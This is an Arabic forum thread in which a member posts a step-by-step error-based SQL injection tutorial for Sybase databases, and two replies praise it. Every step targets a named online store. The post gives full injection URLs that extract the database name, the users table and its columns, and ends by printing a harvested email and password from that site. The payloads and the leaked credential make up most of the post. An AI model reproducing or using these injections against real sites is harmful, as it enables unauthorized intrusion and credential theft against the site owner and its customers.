حالة الموضوع:
مغلق
  1. Mohmad

    Mohmad Developer

    الأنتساب:
    ‏29 نوفمبر 2012
    المشاركات:
    17
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    بسم الله الرحمن الرحيم

    السلام عليكم ورحمة الله وبركاتة

    الصلاة و السلام على أشرف المرسليـن

    الحمد لله وحده نحمده و نشكره و نستعينه و نستغفره و نعود بالله من شرور أنفسنا و من سيئات أعمالنا

    من يهده الله فلا مظل له و من يظلل فلن تجد له ولياً مرشدا

    و أشهد ألا إلاه إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم

    و على آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين

    اليوم سوف اقوم بشرح حقن قواعد Sybase

    ان شاء الله

    في البداية قم بقرائه بسيطه حولها

    http://ar.wikipedia.org/wiki/%D8%B3%...A8%D9%8A%D8%B2

    سأقوم بشرح طريقتين للحقن فيما يخص هذا النوع من القاعدة السايبيز
    سنتطرق الى جزئين

    الجزء الاول : حقن قواعد Sybase عن طريق Union Based .

    و اليوم نتقل للجزء الثاني

    الجزء الثاني : حقن قواعد Sybase عن طريق Error Based .

    ان شاء الله سوف نتطرق الى الجزء الثاني من

    حقن قواعد Sybase

    عن طريق Error Based

    نستخدم هذا النوع من الحقن اذا كانت معطلة بعض الاستعلامات
    مثل السيرفرات اللينكس هناك بعض الدوال تعطل
    عندنا بالحقن ايضاَ استعلامات تعطل ومن ضمنها
    order by
    و
    union

    ملاحظة في مواقع بتمشي عليها النوعين من الحقن
    نشوف هالموقع

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226   

    نقوم بوضع علامة سينكل كيويت '
    كما نلاحظ الخطأ الي في الصوره
    [​IMG]

    طيب
    نجرب امر or 1=1

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=1--


    اختفى الخطأ

    [​IMG]

    طيب نجرب امر استخراج اصدار القاعدة بالاستعلام التالي

    كود PHP:
    or 1=CONVERT(integer,@@version)
    convert = امر تحويل من قيمة الى قيمة معينة
    integer = قيمة رقمية
    يعني كإنما نقول حولي امر الاستعلام حق اصدار القاعدة الى قيمة رقمية
    نشوف كيف

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,@@version%29--

    كما نلاحظ في الصورة اصدار القاعدة

    [​IMG]

    ملاحظة هنا تظهر المعلومات المطلوبة من خلال الخطأ الموجود في الصفحه
    طيب نكمل
    نستخرج اسم القاعدة من خلال الاستعلام الآتي

    كود PHP:
    or 1=CONVERT(integer,db_****())--
    لتصبح الحقنه

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,db_****%28%29%29--
    كما نلاحظ اسم القاعدة ogcstore
    كما موضحة في الصوره التي بالاسفل

    [​IMG]


    الان نستعلم اسماء الجداول من خلال الاستعلام الآتي


    كود PHP:
    or 1=CONVERT(integer,(select max(**** || 0x3a || convert(char,id)) from db-****..sysobjects where type=0x55) )--
    مع تغيير ما يلزم
    الآن نأتي الى تفسير ما يجري في هذا الاستعلام

    كود PHP:
      (select max(****) from db-****..sysobjects where type=0x55)
      
    max(****) =  هنا يعني في مكان ما اواعلى قيمة للقاعدة لاسم الجدول 
      from db
    -****..sysobjects من اسم نواة القاعدة للسايبيز
      where type 
    اينما تجد نوع 
      0x55 
    هذه تشفيرة من نوع الهيكس والتي يقصد بها قبل التشفر بالحرف U
      والحرف يعني هنا 
      U 
    user table
    يعني هنا كأني خاطبت القاعدة وقلت
    اختارلي من اقصى او اعلى مكان حسب الترتيب في القاعدة اسم الجدول من نواة قاعدة السايبيز اينما وجدت جدول المستخدم اي جدول اليوزر يعني الملخص امر لاستعلام جدول اليوزر واستخراجه من بين جميع جداول القاعدة ...

    اما بالنسبه لهذه

    كود PHP:
    (|| 0x3a || convert(char,id)
    استخدمة لكي اقوم بتحويل اسماء الجداول الى عدد ترقيمي الذي يكون ترتيبه بداخل القاعدة

    لاحظ الحقنة كيف راح اصير

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,%28select%20max%28****%20||%200x3a%20||%20convert%28char,id%29%29%20from%20ogcstore..sysobjects%20where%20type=0x55%29%20%29--
    لاحظ استخرجنا جدول اليوزر بسرعة
    وبجانبه رقم هذا ترتيب جدول اليوزر في القاعدة وكما موضح في الصورة
    ec_users:864003078

    [​IMG]


    طيب الآن نتوجة لإستخراج اسماء الاعمدة الموجودة بداخل جدول اليوزر
    هنا نستخدم امر لاسختراج اسماء الاعمدة نفس امر استعلام استخراج اسماء الجداول مع مرآعاة التغير اللازم لاحظ معي الاستعلام الخاص بإستخراج اسماء الأعمدة


    كود PHP:
    or 1=CONVERT(integer,(select max(**** || 0x3a || convert(char,colid)) from db-****..syscolumns where id=table id) )--
    هنا الاستعلام بنفس تفسير الاستعلام السابق ولكن الاختلاف البسيط
    هو colid = ترتيب الأعمدة داخل الجدول الموجودة في القاعدة
    مع تغيير
    sysobjects
    الى
    syscolumns

    ونضع مكان table id
    ترتيب الرقمي لجدول اليوزر الي ضهر لنا بجانب جدول اليوزر الي هو 864003078
    لتصبح الحقنة بهذا الشكل

    كود PHP:
    or 1=CONVERT(integer,(select max(**** || 0x3a || convert(char,colid)) from ogcstore..syscolumns where id=864003078) )--
    كما نلاحظ استخرجنا اسم العمود (zip:12)
    وبجانبه رقم ترتيب العمود في الجدول الي بداخل قاعدة السايبيز
    كما موضح بالصورة

    [​IMG]


    طيب نستخرج اسماء الاعمدة البقية :{14}:
    بإضافة استعلام بسيط آخر الحقنة لاحظ الاستعلام

    كود PHP:
    and colid not in(column id) =   اضهرلي اسم العمود مع ترتيبة بداخل الجدول اي استخرجلي اي عمود غير الي بين القوسين
    فيصبح الاستعلام بشكل الآتي

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,%28select%20max%28****%20||%200x3a%20||%20convert%28char,colid%29%29%20from%20ogcstore..syscolumns%20where%20id=864003078%20and%20colid%20not%20in%2812%29%29%20%29--
    لاحظ عمود usertype
    الي ترتيبة داخل الجدول هو 2
    اي ثاني عمود داخل الجدول

    [​IMG]

    الان نكمل عالسريع في استخراج بقية الاعمدة
    لتصبح الحقنه بهذا الشكل لاحظ
    ً#ٌ5oًًًُ.

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,%28select%20max%28****%20||%200x3a%20||%20convert%28char,colid%29%29%20from%20ogcstore..syscolumns%20where%20id=864003078%20and%20colid%20not%20in%2812,2,11,1,6,14,18,4,19,15,20,3,7,17,16,8,21,13,5,10%29%29%20%29--
    الآن تعرفنا على جميع اسماء الجداول
    وتعرفنا ايظاَ على عدد الأعمدة التي بداخل جدول اليوزر وهي 21 عمود
    كل الي يهمنه منه
    عمود email:8 و password:14

    الي يقع ترتيبهم بداخل جدول اليوزر في 8 و14

    طيب نكمل الحقنة لنستخرج بيانات الاعمدة
    نستخدم الحقنة النهائيه هذه

    كود PHP:
    or 1=CONVERT(integer,(select max (column ****|| 0x3a || column ****2from table users)
    مع مرآعاة التغير اللازم :{y.}
    وتصبح الحقنة بالشكل النهائي

    كود PHP:
    http://store.organicgrown.com/index.php?action=product&id=226%20or%201=CONVERT%28integer,%28select%20max%20%28email%20||%200x3a%20||%20password%29%20from%20ec_users%29%29--
    [​IMG]

    كما نلاحظ استخرجنا بيانات الاعمدة للاميل والباسورد
    [email protected]:Sal3y57

    الى هنا تم بعونه تعالى واسف اذا طولت
    واي استفسار انا حاضر او اي شئ غامض
    الى هنا نستودعكم الله
    ً#ٌ5oًًًُ.
     
  2. &الكنك&

    &الكنك& V • I • P

    الأنتساب:
    ‏27 أغسطس 2012
    المشاركات:
    354
    الإعجابات المتلقاة:
    29
    نقاط الجائزة:
    28
    الوظيفة:
    ملازم في الجيش العراقي
    الإقامة:
    العراق
    رد: الجزء الثاني : حقن قواعد Sybase عن طريق Error Based .

    ما شاء الله شرح راقي ومفصل

    يوشم بل خماسي والتقييم

    :{10}::{10}:
     
  3. بــرهــومــي

    بــرهــومــي Developer

    الأنتساب:
    ‏9 أغسطس 2012
    المشاركات:
    61
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    الإقامة:
    K.$.A
    رد: الجزء الثاني : حقن قواعد Sybase عن طريق Error Based .

    يعطيك الف عافية يا غالى )5:"
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة